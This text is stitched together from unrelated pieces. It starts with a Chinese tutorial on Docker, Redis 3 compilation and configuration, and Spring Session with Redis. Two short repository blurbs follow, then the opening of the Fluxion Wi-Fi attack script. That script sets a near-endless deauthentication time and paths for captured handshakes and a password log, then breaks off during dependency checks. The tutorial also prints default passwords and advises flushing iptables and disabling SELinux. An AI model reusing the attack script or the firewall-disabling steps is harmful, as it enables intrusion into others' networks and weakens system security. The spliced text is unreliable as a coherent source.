ubuntu:ssh 第六步: 运行带有openssh的ubuntu14以便于我们使用winscp这样的SFTP工具连入我们的ubuntu14中去,依次输入下面的命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker kill $(docker ps -q) 杀掉正在运行的所有的container的进程 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker rm $(docker ps -a -q) 删除所有在进程中的容器,以上2步又被称为docker大扫除 Docker是这样的机制的,它可以开启多个容器,每个容器带着一堆的image(镜像),要删一个镜像必须先停止这个镜像所在的容器,再把这个镜像删除,因此我们使用上面这两条命令对于Docker来一个大扫除。 接着我们先查一下我们目前手头有的镜像 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker images 你会看到一个images列表,里面有我们的ubuntu:14,有我们的ubuntu:ssh也有一个hello-world,我们把ubuntu:14这个镜像删了吧(为了保持干净哈) 每个image也它自己的id,即image id,因此你用docker images命令查到该镜像的id后可以使用: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker rmi imageid 这条命令把一个不用的镜像给删了。 接下去我们要启动我们的ubuntu14:ssh了,可以使用下面这条命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker -d -p 122:22 ubuntu:ssh //usr/sbin/sshd -D 这条命令的意思为: -d即把我们的image启动在后台进程,它将会是一个daemon进程,而不会像刚才我们使用-t一样,一旦exit后该image进程也自动退出了 -p为端口映射,什么意思呢,这边要说一下docker的端口映射问题。我们知道docker安装后它会利用virtualbox中的vhost only的nat机制来建立一个虚拟的IP 可以打开我们的virtualbox中在菜单”全局->设定->网络”中进行查找 所以我们可以知道一旦boot2docker环境运行后它的地址为192.168.56.*这个段,一般为192.168.56.101这个地址,你可以在boot2docker启动后直接使用winscp边入这个docker环境。 地址:192.168.56.101 端口:22 用户名:docker 密码:tcuser 以上为默认值,具体地址按照你的virtualbox中在boot2docker安装时自动给出的设置来做参考。 而, 我们在这个docker中安装了一个ubuntu14:ssh的image,然后用后台进程的方式打开了这个ubuntu14:ssh,因此它自己也有一个IP(可能是172也可能是169段),具体不得而知,一般来说它是每次启动镜像后自己变换的(可以使用动态网络域名绑定docker中镜像的ip来达到域名不变的目的-集群环境下有用)。 我们都知道ssh是以端口22来进行TCP连接的,因此我们把ubuntu14的IP上的22端口映射到了我们的docker主机192.168.56.101上的122端口。 参数//usr/sbin/sshd -D代表该镜像启动会的entrypoint即启动后再启动一个什么命令,在最后的-D(大写的D)告诉docker这是一个启动文件 于是,一旦该命令发出后,显示image启动的提示后(启动后你会得到一个image id)你就可以直接打开你的winscp使用: 地址:192.168.56.101 端口:122 (此处是122,不是22,因为我们把image的22端口映射到了192.168.56.101-docker主机上的122端口了) 用户名:root 密码:aaaaaa 即可以连入我们的ubuntu14环境了,如果此时你安装了putty还可以使用putty+winscp直接进入ubuntu14的命令行环境中去,于是你就有ubuntu14的试验环境了。 在ubuntu14下安装redis 网上很多在ubuntu14下安装redis的教程都不对的,大家看了要上当的,原因在于如下,请各位看完: 网上的redis环境搭建直接使用的是apt-get update完后用wget https://github.com/ijonas/dotfiles/raw/master/etc/init.d/redis-server 这样的方式来安装的,这样装固然方便,可是也因为方便所以取到的redis不是最新的redis版本,一般为2.8.x版或者是redis3.0.rc,这依赖于你的unit/linux所连接的wget库 redis为c写成,它的2.4-2.8版都为不稳定版或者是缺少功能或者是有bug,而这些bug在你如果真正使用redis作为网站生产环境时将会因为这些bug而无法面对峰涌而来的巨大并发,因此当有这样的redis运行了一段时间后你的生产环境会面临着巨大的压力 还是redis不够新不够稳定的原因,由于在redis3前redis还不支持集群、主备高可用方案的功能,因此不得不依靠于繁杂的打补丁式的如:linux/unix-keepalive或者是haproxy这种系统级层面然后写一堆的复杂脚本去维护你的redis集群,还要用外部手段(Linux/Unix Shell脚本)去维护多个redis节点间的缓存数据同步。。。这这这。。。不复合我们的网站扩容、增量、运维和面对巨大用户(万级并发-最高支持百万用户如:新浪微博、微信)的场景 因此,我在这边推荐大家使用下面我将要使用的“下载源码包结合你本机的Linux/Unix内核进行实时编译”的安装过程。 第一步:下载redis目前最稳定版本也是功能最完善,集群支持最好并加入了sentinel(哨兵-高可用)功能的redis3.0.7版即redis-stable版,为此我们需要获取redis-stable版 redis官方下载连接 就是用的这个redis-stable.tar.gz包,这是我在写博客时目前最新最稳定版本,修复了大量的BUG和完善了功能。 第二步: 下载后我们把该包上传到我们的docker中的ubuntu14中,我们把它放在/opt目录下 然后我们使用tar -zxvf redis-stable.tar.gz对它进行解压 解压后它就会生成一个redis-stable目录,进入该目录 cd redis-stable 别急,我们先一会编译和安装它 第三步:编译安装redis 我们先输入gcc -v 这个命令来查看我们的gcc版本,如果它低于4.2以下那么你在编译redis3.0.7时一定会碰到大量的出错信息,如前面所述,redis为gcc写成,最新的redis需要gcc4.2-5这个版本才能进行编译,而一般去年或者之前装的linux/unix 的 gcc都为4.0以下或者甚至是3.x版。 升级GCC先 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get install build-essential 因此apt-get update显得很重要,要不然你获取的gcc也将不是最新的版本,目前我的gcc为5.3.1为这周刚做的升级。 升级后我们开始编译redis3.0.7了,为此我们需要在redis-stable目录下 键入如下命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 make PREFIX=/usr/local/redis1 install 我们告知我们的GCC把redis-stable编译并同时安装在/usr/local/redis1目录下 这个过程很快,可能只有10秒钟时间(依据你的机器来说,建议使用>=8gb, 4核CPU的PC机),然后我们就可以看到everything ok了。我们进入/usr/local/redis1就可以看到我们刚才安装的redis3.0.7稳定版了。 我们进入我们的redis目录 cd /usr/local/redis1/bin 在此目录下我们即可以运行我们的redis server了,不过请别急,在启动前我们需要对redis进行一些配置。 我的博客面对的是“全栈式”工程师的,架构师只是成为全栈式工程师中的一个起点,如果你不会搭环境那么你就不能接触到最新的技术,因此这就是许多程序员工作了近5年,7年结果发觉也只会一个SSH的主要原因。 Redis3配置要领 使用winscp通过122连入docker下的ubuntu14,进行redis的配置。 我们需要编辑的文件为/usr/local/redis1/bin/redis.conf这个文件 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 daemonize yes # When running daemonized, Redis writes a pid file in /var/run/redis.pid by # default. You can specify a custom pid file location here. pidfile "/var/run/redis/redis1.pid" # Accept connections on the specified port, default is 6379. # If port 0 is specified Redis will not listen on a TCP socket. port 7001 我们把: daemonize设为yes,使得redis以后台进程的方式来运行,你可以认为为“server”模式,如果redis以server模式运行的话它会生成一个pid文件 ,因此我们把它的路径放在/var/run/redis目录中,并命名它为redis1.pid文件 ,为此你需要在/var/run目录下建立redis这个目录 端口号我们把它设为7001,这样好辩识,因为将来我们会进一步做redis集群,所以我们的redis都为redis1, redis2, redis3那么我们的端口号也为7001, 7002, 7003。。。这样来延续。那么很多同协这时要问了,“为什么我们不把它命名成master, slave1, slave2这样的名字呢?”,理由很简单,无论是现在的hadoop还是zookeeper它们的集群是跨机房的,多个master间也有MASTER-SLAVE模式互为备份,因为一些大型网站不仅仅只有一个IDC机房,它们一般都会有2个,3个IDC机房,或者是在同一个IDC机房中有“跨机柜”的布署来形成超大规模集群,就和ALI的TAOBAO网一样,它在北美都有机房,因此当你需要在LOCAL NATIVE建一个IDC机房,在北美再做一个机房,你不要想把一个MASTER设在中国,SLAVE设到美国去,而是多地甚至是多机柜都有MASTER,一旦一个MASTER宕机了,这种集群会通过一个叫“选举策略”选出一个节点把这个节点作为当前“群”的MASTER,因此我们的命名才会是redis1, redis2, redis3...这样来命名的。 此处把原来的: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 save 900 1 save 300 10 save 60 10000 中的300 10 和60 10000注释掉。这边代表的是: redis以每900秒写一次、300秒写10次,60秒内写1万次这样的策略把缓存放入一个叫.rdb的磁盘文件中,这点和ehcache或者是memcache很像,以便于redis在重启时可以从本地持久化文件中找出关机前的数据记录。 如果按照默认的话,此三个策略会轮流起效,在大并发环境中,这样的写策略将会对我们的性能造成巨大的影响,因此我们这边只保留900秒写1次这条策略,这边有人会问,如果你这样会有数据丢失怎么办。。。别急,这个问题我们后面会解答,这涉及到redis的“正确”使用,如果它只是一个缓存,我相信5分钟内缓存的丢失此时程序直接访问数据库也不会有太大问题,又要保证数据完整性又要保证性能这本身是一个矛与盾的问题,除非你钱多了烧那我会给出你一个烧钱的配置策略,连新浪都不会这么烧钱,呵呵。 dbfilename,此处我们维持redis原有的缓存磁盘文件的原名 dir "/usr/local/redis1/data"为rdb文件所在的目录 这边大家要注意的是一个是只能写文件名,另一个地方只能写目录名。 为此我们需要在/usr/local/redis1下建立 data目录。 把此处的appendonly设为no,这样我们就关闭了Redis的AOF功能。 AOF 持久化记录服务器执行的所有写操作命令,并在服务器启动时,通过重新执行这些命令来还原数据集。AOF是redis在集群或者是高可用环境下的一个同步策略,它会不断的以APPEND的模式把redis的缓存中的数据从一个节点写给另一个节点,它对于数据的完整性保证是要高于rdb模式的。 RDB 是一个非常紧凑(compact)的文件,它保存了 Redis 在某个时间点上的数据集。 这种文件非常适合用于进行备份: 比如说,你可以在最近的 24 小时内,每小时备份一次 RDB 文件,并且在每个月的每一天,也备份一个 RDB 文件。 这样的话,即使遇上问题,也可以随时将数据集还原到不同的版本。RDB 非常适用于灾难恢复(disaster recovery):它只有一个文件,并且内容都非常紧凑,可以(在加密后)将它传送到别的数据中心如阿里的mysql异地机房间使用FTP传binlog的做法。 按照官方的说法,启用AOF功能,可以在redis高可用环境中如果发生了故障客户的数据不会有高于2秒内的历史数据丢失,它换来的代价为高昂的I/O开销,有些开发者为了追求缓存中的数据100%的正确有时会碰到因为redis在AOF频繁刷新时整个环境如死机一的情况,并且你会看到恶梦一般的”Asynchronous AOF fsync is taking too long “警告信息,这是因为redis它是单线程的,它在进行I/O操作时会阻塞住所有的操作,包括登录。。。这个很可怕,不过这个BUG/ISSUE已经在最新redis中进行了优化,它启用了另一根进程来进行AOF刷新,包括优化了RDB持久化功能,这也是为什么我让大家一定一定要用最新最稳定版的redis的原因。 一般默认情况下redis内的rdb和AOF功能同为开启, 如果RDB的数据不实时,同时使用两者时服务器重启也只会找AOF文件。 因为RDB文件只用作后备用途,建议只在Slave上持久化RDB文件,而且只要15分钟备份一次就够了,所以我只保留save 900 1这条规则。 如果Enalbe AOF: 好处是在最恶劣情况下也只会丢失不超过两秒数据,启动脚本较简单只load自己的AOF文件就可以了。 代价一是带来了持续的IO,二是AOF rewrite的最后将rewrite过程中产生的新数据写到新文件造成的阻塞几乎是不可避免的。只要硬盘许可,应该尽量减少AOF rewrite的频率,AOF重写的基础大小默认值64M太小了,可以设到5G以上。默认超过原大小100%大小时重写,这边可以设定一个适当的数值。 如果不Enable AOF ,仅靠Master-Slave Replication 实现高可用性也可以。能省掉极大的IO也减少了rewrite时带来的系统波动。代价是如果Master/Slave同时倒掉(那你的网站基本也就歇了),会丢失十几分钟的数据,启动脚本也要比较两个Master/Slave中的RDB文件,载入较新的那个。新浪微博就选用了这种架构。 最后我们不要忘了设一个redis的log文件,在此我们把它设到了/var/log/redis目录,为此我们需要在/var/log目录下建立一个redis目录。 好了,保存后我们来启动我们的redis吧。 我们使用以下这条命令来启动我们的redis server。 然后我们在我们的windows机上装一个windows版的redis 2.8.1 for windows(只用它来作为redis的client端) 然后我们在windows环境下使用: redis-cli -p 7001 -h 192.168.56.101 咦,没反映,连不上,哈哈。。。。。。 那是肯定连不上的,因为: 我们刚才在用docker启动ubuntu14时使用docker -d -p 122:22 ubuntu:ssh //usr/sbin/sshd -D来启动的,这边我们并未把redis服务的7001端口映射到192.168.56.101这台docker主机上,怎么可以通过windows主机(可能windows的ip为169.188.xx.xx)来访问docker内的进程服务呢?对吧,为此我们:先把刚才做了这么多的更改docker commit成一个新的image如:redis:basic吧。 然后我们对docker进行一次大扫除,然后我们启动redis:basic这个image并使用以下命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker -d -p 122:22 -p 7001:7001 redis:basic //usr/sbin/sshd -D 看,此处我们可以使用多个-p来作docker内容器的多端口映射策略(它其实使用的就是iptables命令)。 好了,用putty连入这个image的进程并启动redis服务,然后我们拿windows中的redis-cli命令来连。 如果在linux环境下还是没有连通(可能的哦),那是因为你没有禁用linux下的防火墙,我们可以使用iptables -F来禁用linux的防火墙或者使用: vi /etc/selinux/config 然后把 SELINUX=enforcing 这句用”#“注释掉 增加一句: SELINUX=disabled #增加 这样每次启动后linux都不会有iptables的困扰了(这是在本机环境下这么干哦,如果你是生产环境请自行加iptables策略以允许redis服务端口可以被访问)。 看到下面这个PONG即代表你的redis服务已经在网络环境中起效了。 下面我们要开始使用Java客户端来连我们的Redis Service了。 使用Spring Data + JEDIS来连接Redis Service Spring+Session+Redis pom.xml 在此我们需要使用spring data和jedis,下面给出相关的maven配置 [html] view plain copy 在CODE上查看代码片派生到我的代码片 <dependencies> <!-- poi start --> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml-schemas</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-scratchpad</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>${poi_version}</version> </dependency> <!-- poi end --> <!-- active mq start --> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-all</artifactId> <version>5.8.0</version> </dependency> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-pool</artifactId> <version>${activemq_version}</version> </dependency> <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-spring</artifactId> <version>3.16</version> </dependency> <!-- active mq end --> <!-- servlet start --> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>${javax.servlet-api.version}</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>jsp-api</artifactId> <version>2.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> <!-- servlet end --> <!-- redis start --> <dependency> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> <version>2.7.2</version> </dependency> <dependency> <groupId>org.redisson</groupId> <artifactId>redisson</artifactId> <version>1.0.2</version> </dependency> <!-- redis end --> <dependency> <groupId>org.slf4j</groupId> <artifactId>jcl-over-slf4j</artifactId> <version>${slf4j.version}</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <version>${slf4j.version}</version> </dependency> <!-- spring conf start --> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-redis</artifactId> <version>1.6.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>${spring.version}</version> <exclusions> <exclusion> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context-support</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-redis</artifactId> <version>1.6.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-orm</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jms</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework.session</groupId> <artifactId>spring-session</artifactId> <version>${spring.session.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>${spring.version}</version> </dependency> <!-- spring conf end --> </dependencies> redis-config.xml [html] view plain copy 在CODE上查看代码片派生到我的代码片 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xmlns:jee="http://www.springframework.org/schema/jee" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:aop="http://www.springframework.org/schema/aop" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <context:property-placeholder location="classpath:/spring/redis.properties" /> <context:component-scan base-package="org.sky.redis"> </context:component-scan> <bean id="jedisConnectionFactory" class="org.springframework.data.redis.connection.jedis.JedisConnectionFactory"> <property name="hostName" value="${redis.host.ip}" /> <property name="port" value="${redis.host.port}" /> <property name="poolConfig" ref="jedisPoolConfig" /> </bean> <bean id="jedisPoolConfig" class="redis.clients.jedis.JedisPoolConfig"> <property name="maxTotal" value="${redis.maxTotal}" /> <property name="maxIdle" value="${redis.maxIdle}" /> <property name="maxWaitMillis" value="${redis.maxWait}" /> <property name="testOnBorrow" value="${redis.testOnBorrow}" /> <property name="testOnReturn" value="${redis.testOnReturn}" /> </bean> <bean id="redisTemplate" class="org.springframework.data.redis.core.StringRedisTemplate"> <property name="connectionFactory" ref="jedisConnectionFactory" /> </bean> <!--将session放入redis --> <bean id="redisHttpSessionConfiguration" class="org.springframework.session.data.redis.config.annotation.web.http.RedisHttpSessionConfiguration"> <property name="maxInactiveIntervalInSeconds" value="1800" /> </bean> <bean id="customExceptionHandler" class="sample.MyHandlerExceptionResolver" /> </beans> redis.properties [plain] view plain copy 在CODE上查看代码片派生到我的代码片 redis.host.ip=192.168.0.101 redis.host.port=6379 redis.maxTotal=1000 redis.maxIdle=100 redis.maxWait=2000 redis.testOnBorrow=false redis.testOnReturn=true web.xml [html] view plain copy 在CODE上查看代码片派生到我的代码片 <?xml version="1.0" encoding="UTF-8"?> <web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <!-- - Location of the XML file that defines the root application context - Applied by ContextLoaderListener. --> <!-- tag::context-param[] --> <context-param> <param-name>contextConfigLocation</param-name> <param-value> classpath:/spring/redis-conf.xml </param-value> </context-param> <!-- end::context-param[] --> <!-- tag::springSessionRepositoryFilter[] --> <filter> <filter-name>springSessionRepositoryFilter</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>springSessionRepositoryFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <session-config> <session-timeout>30</session-timeout> </session-config> <!-- end::springSessionRepositoryFilter[] --> <filter> <filter-name>encodingFilter</filter-name> <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class> <init-param> <param-name>encoding</param-name> <param-value>UTF-8</param-value> </init-param> <init-param> <param-name>forceEncoding</param-name> <param-value>true</param-value> </init-param> </filter> <filter-mapping> <filter-name>encodingFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <servlet> <servlet-name>dispatcher</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:/spring/spring-mvc.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>dispatcher</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <!-- - Loads the root application context of this web app at startup. - The application context is then available via - WebApplicationContextUtils.getWebApplicationContext(servletContext). --> <!-- tag::listeners[] --> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <!-- end::listeners[] --> <servlet> <servlet-name>sessionServlet</servlet-name> <servlet-class>sample.SessionServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>sessionServlet</servlet-name> <url-pattern>/servlet/session</url-pattern> </servlet-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> 这边主要是一个: [html] view plain copy 在CODE上查看代码片派生到我的代码片 <filter> <filter-name>springSessionRepositoryFilter</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>springSessionRepositoryFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <session-config> <session-timeout>30</session-timeout> </session-config> 这个filter一定要写在一切filter之前 SessionController [java] view plain copy 在CODE上查看代码片派生到我的代码片 package sample; import org.springframework.session.data.redis.config.annotation.web.http.EnableRedisHttpSession; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; /** * Created by mk on 15/1/7. */ @Controller @EnableRedisHttpSession public class SessionController { @RequestMapping("/mySession") public String index(final Model model, final HttpServletRequest request) { if (request.getSession().getAttribute("testSession") == null) { System.out.println("session is null"); request.getSession().setAttribute("testSession", "yeah"); } else { System.out.println("not null"); } return "showSession"; } } showSession.jsp文件 [html] view plain copy 在CODE上查看代码片派生到我的代码片 <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>showSession</title> </head> <body> <% String sessionValue=(String)session.getAttribute("testSession"); %> <h1>Session Value From Servlet is: <%=sessionValue%></h1> </body> </html> 测试 保证我们的redise-server是启动的,然后我们启动起这个web工程后使用: http://localhost:8080/webpoc/mySession访问一下这个controller 此时我们使用redis客户端工具连入查看spring session是否已经进入到了redis中去。 在redis客户端工具连入后我们可以在redis console中使用keys *来查看存入的key,LOOK,spring的session存入了redis中去了。 再来看我们的eclipse后台,由于我们是第一次访问这个controller,因此这个session为空,因此它显示如下: 我们在IE中再次访问该controller 由于之前的session已经存在于redis了,因此当用户在1800秒(30分钟)内再次访问controller,它会从session中获取该session的key testSession的值,因此eclipse后台打印为not null。 SpringRedisTemplate + Redis 讲过了spring session+redis我们来讲使用spring data框架提供的redisTemplate来访问redis service吧。说实话,spring这个东西真强,什么都可以集成,cassandra, jms, jdbc...jpa...bla...bla...bla...Spring集成Barack Hussein Obama? LOL :) pom.xml 不用列了,上面有了 redis-conf.xml 不用列了,上面有了 web.xml 也不用列了,上面也有了 SentinelController.java 我们就先用这个名字吧,后面我们会用它来做我们的redis sentinel(哨兵)的高可用(HA)集群测试 [java] view plain copy 在CODE上查看代码片派生到我的代码片 package sample; import java.util.HashMap; import java.util.Map; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext; import org.springframework.data.redis.core.BoundHashOperations; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.RequestMapping; import redis.clients.jedis.Jedis; import redis.clients.jedis.JedisSentinelPool; import util.CountCreater; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; /** * Created by xin on 15/1/7. */ @Controller public class SentinelController { @Autowired private StringRedisTemplate redisTemplate; @RequestMapping("/sentinelTest") public String sentinelTest(final Model model, final HttpServletRequest request, final String action) { return "sentinelTest"; } @ExceptionHandler(value = { java.lang.Exception.class }) @RequestMapping("/setValueToRedis") public String setValueToRedis(final Model model, final HttpServletRequest request, final String action) throws Exception { CountCreater.setCount(); String key = String.valueOf(CountCreater.getCount()); Map mapValue = new HashMap(); for (int i = 0; i < 1000; i++) { mapValue.put(String.valueOf(i), String.valueOf(i)); } try { BoundHashOperations<String, String, String> boundHashOperations = redisTemplate .boundHashOps(key); boundHashOperations.putAll(mapValue); System.out.println("put key into redis"); } catch (Exception e) { e.printStackTrace(); throw new Exception(e); } return "sentinelTest"; } } 打开IE,输入:http://localhost:8080/webpoc/setValueToRedis 观察我们的后台 然后使用redis client连入后进行查看 看。。。这个值key=1的,就是我们通过spring的redisTemplate存入进去的值,即使用下面这段代码进行存入的值: [java] view plain copy 在CODE上查看代码片派生到我的代码片 for (int i = 0; i < 1000; i++) { mapValue.put(String.valueOf(i), String.valueOf(i)); } try { BoundHashOperations<String, String, String> boundHashOperations = redisTemplate.boundHashOps(key); boundHashOperations.putAll(mapValue); 如何你要存入一个简单的如key=test value=hello,你可以这样使用你的redisTemplate [java] view plain copy 在CODE上查看代码片派生到我的代码片 redisTemplate.execute(new RedisCallback<Object>() { @Override public Object doInRedis(RedisConnection connection) throws DataAccessException { connection.set( redisTemplate.getStringSerializer().serialize( "test"), redisTemplate .getStringSerializer() .serialize("hello")); return null; } }); 是不是很方便的哈?结束第一天的教程,明天开始搭建redis集群。
danielmiessler
A meta-scan tool used to kick off a number of command-line security tools during VA/PT work.
shanto268
This program is designed to analyze Scanning Electron Microscope (SEM) images, specifically images of superconducting quantum devices. It uses the Segment Anything library from Meta to identify and segment objects in the image.
Emersonmafra
#!/bin/bash ########## DEBUG Mode ########## if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0 else FLUX_DEBUG=1 fi ################################ ####### preserve network ####### if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0 else KEEP_NETWORK=1 fi ################################ ###### AUTO CONFIG SETUP ####### if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0 else FLUX_AUTO=1 fi ################################ if [[ $EUID -ne 0 ]]; then echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m""" exit 1 fi if [ -z "${DISPLAY:-}" ]; then echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m""" exit 1 fi clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" revision=9 version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" Purple="\033[0;35m" Cyan="\033[0;36m" Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" transparent="\e[0m" general_back="Back" general_error_1="Not_Found" general_case_error="Unknown option. Choose again" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling interface" general_exitmode_3="Disabling "$grey"forwarding of packets" general_exitmode_4="Cleaning "$grey"iptables" general_exitmode_5="Restoring "$grey"tput" general_exitmode_6="Restarting "$grey"Network-Manager" general_exitmode_7="Cleanup performed successfully!" general_exitmode_8="Thanks for using fluxion" ############################################################################################# # DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout HOLD="-hold" else ## Normal Mode export flux_output_device=/dev/null HOLD="" fi # Delete Log only in Normal Mode ! function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } function airmon { chmod +x lib/airmon/airmon.sh } airmon # Check Updates function checkupdatess { revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$revision_online">$DUMP_PATH/Irev fi } # Animation function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # ERROR Report only in Developer Mode function err_report { echo "Error on line $1" } if [ $FLUX_DEBUG = 1 ]; then trap 'err_report $LINENUM' ERR fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP source lib/exitmode.sh #Languages for the web interface source language/source # Design function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo echo } ############################################## < START > ############################################## # Check requirements function checkdependences { echo -ne "aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "curl............" if ! hash 